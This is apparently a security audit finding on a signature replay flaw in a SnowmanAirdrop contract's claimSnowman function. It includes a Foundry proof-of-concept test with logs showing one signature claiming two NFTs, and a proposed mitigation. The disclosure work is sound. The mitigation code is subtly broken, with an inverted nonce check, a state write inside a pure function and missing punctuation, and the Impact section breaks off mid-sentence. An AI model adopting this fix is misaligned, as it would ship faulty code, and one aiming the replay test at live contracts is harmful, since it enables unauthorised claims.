Description
The SnowmanAirdrop::claimSnowman()
function is vulnerable to replay attacks due to the insecure construction of the signed message hash in getMessageHash()
function. The hash includes a dynamic amount
value based on the user's current snow token balance, which can be manipulated after the signature is created. This allows an attacker to manipulate the balance and reuse the same valid signature multiple times, enabling unauthorised or repeated airdrop claims.
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
@> uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}
Impact
An attacker can reuse the same valid signed message from a user multiple times, allowing unauthorised control. This can:
Proof of Concept
Alice signs a message to allow an airdrop claim.
Satoshi calls SnowmanAirdrop::claimSnowman
with Alice's signature and succeeds.
An attacker calls the same function again with same signature and succeeds again.
Alice now has multiple NFTs claimed from a single intent.
This is possible because the message hash includes amount
, which is dynamic and changes depending on the current token balance, which can be manipulated.
Proof of Code
function testReplayAttackByRelayer() public {
console2.log("Testing Replay Attack on claimSnowman");
assert(nft.balanceOf(alice) == 0);
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
console2.log("Alice snow token balance before satoshi claim for her", snow.balanceOf(alice));
console2.log("Alice nftToken balance before satoshi claim for her", nft.balanceOf(alice));
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
console2.log("Alice snow token balance after satoshi claim for her", snow.balanceOf(alice));
console2.log("Alice nftToken balance after satoshi claim for her", nft.balanceOf(alice));
assert(nft.balanceOf(alice) == 1);
assert(nft.ownerOf(0) == alice);
vm.startPrank(alice);
uint256 FEE = snow.s_buyFee();
snow.buySnow{value: FEE}(1);
assertEq(snow.balanceOf(alice), 1);
vm.stopPrank();
console2.log("ReplayAttak: Alice snow token balance before satoshi claim for her", snow.balanceOf(alice));
console2.log("ReplayAttack: Alice nftToken balance before satoshi claim for her", nft.balanceOf(alice));
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
assert(nft.balanceOf(alice) == 2);
console2.log("ReplayAttak: Alice snow token balance AFTER satoshi claim for her", snow.balanceOf(alice));
console2.log("ReplayAttack: Alice nftToken balance AFTER satoshi claim for her", nft.balanceOf(alice));
}
Ran 1 test for test/TestSnowmanAirdrop.t.sol:TestSnowmanAirdrop
[PASS] testReplayAttackByRelayer() (gas: 292482)
Logs:
Testing Replay Attack on claimSnowman
Alice snow token balance before satoshi claim for her 1
Alice nftToken balance before satoshi claim for her 0
Alice snow token balance after satoshi claim for her 0
Alice nftToken balance after satoshi claim for her 1
ReplayAttak: Alice snow token balance before satoshi claim for her 1
ReplayAttack: Alice nftToken balance before satoshi claim for her 1
ReplayAttak: Alice snow token balance AFTER satoshi claim for her 0
ReplayAttack: Alice nftToken balance AFTER satoshi claim for her 2
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.14ms (1.35ms CPU time)
Recommended Mitigation
To prevent signature replay, we need to make these changes.
Add a nonce
and deadline
in the SnowmanAirdrop::SnowmanClaim
struct to make it more replay resistant.
struct SnowmanClaim {
address receiver;
uint256 amount;
+ uint256 deadline;
+ uint256 nonce
}
Update the MESSAGE_TYPEHASH
to the newly updated struct.
- bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ bytes32 public constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(address receiver, uint256 amount, uint256 deadline, uint256 nonce)");
Add a mapping to keep track of whether the nonce has been used or not.
// Track used nonces to prevent replay
+ mapping(address => mapping(uint256 => bool)) public noncesUsed;
Update the getMessageHash
, _isValidSignature
and claimSnowman
function.
- function getMessageHash(address receiver) public view returns (bytes32) {
+ function getMessageHash(address receiver, uint256 deadline, uint256 nonce) public view returns (bytes32) {
// other code
+ return _hashTypedDataV4(keccak256(abi.encode(MESSAGE_TYPEHASH, receiver, amount, deadline, nonce)));
- function _isValidSignature(address receiver, bytes32 digest, uint8 v, bytes32 r, bytes32 s)
+ - function _isValidSignature(address receiver, uint256 deadline, uint256 nonce bytes32 digest, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
+ require(noncesUsed[receiver][nonce], "Nonced used already!");
+ noncesUsed[receiver][nonce] = true;
+ require(block.timestamp < deadline, "Expired");
(address actualSigner,,) = ECDSA.tryRecover(digest, v, r, s);
return actualSigner == receiver;
}
- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 deadline, uint256 nonce, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
- if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
+ if (!_isValidSignature(receiver, getMessageHash(receiver, deadline, nonce), v, r, s)) {
This updated implementation mitigates replay attacks by validating that the nonce
is unused and the deadline
has not passed before accepting any claim.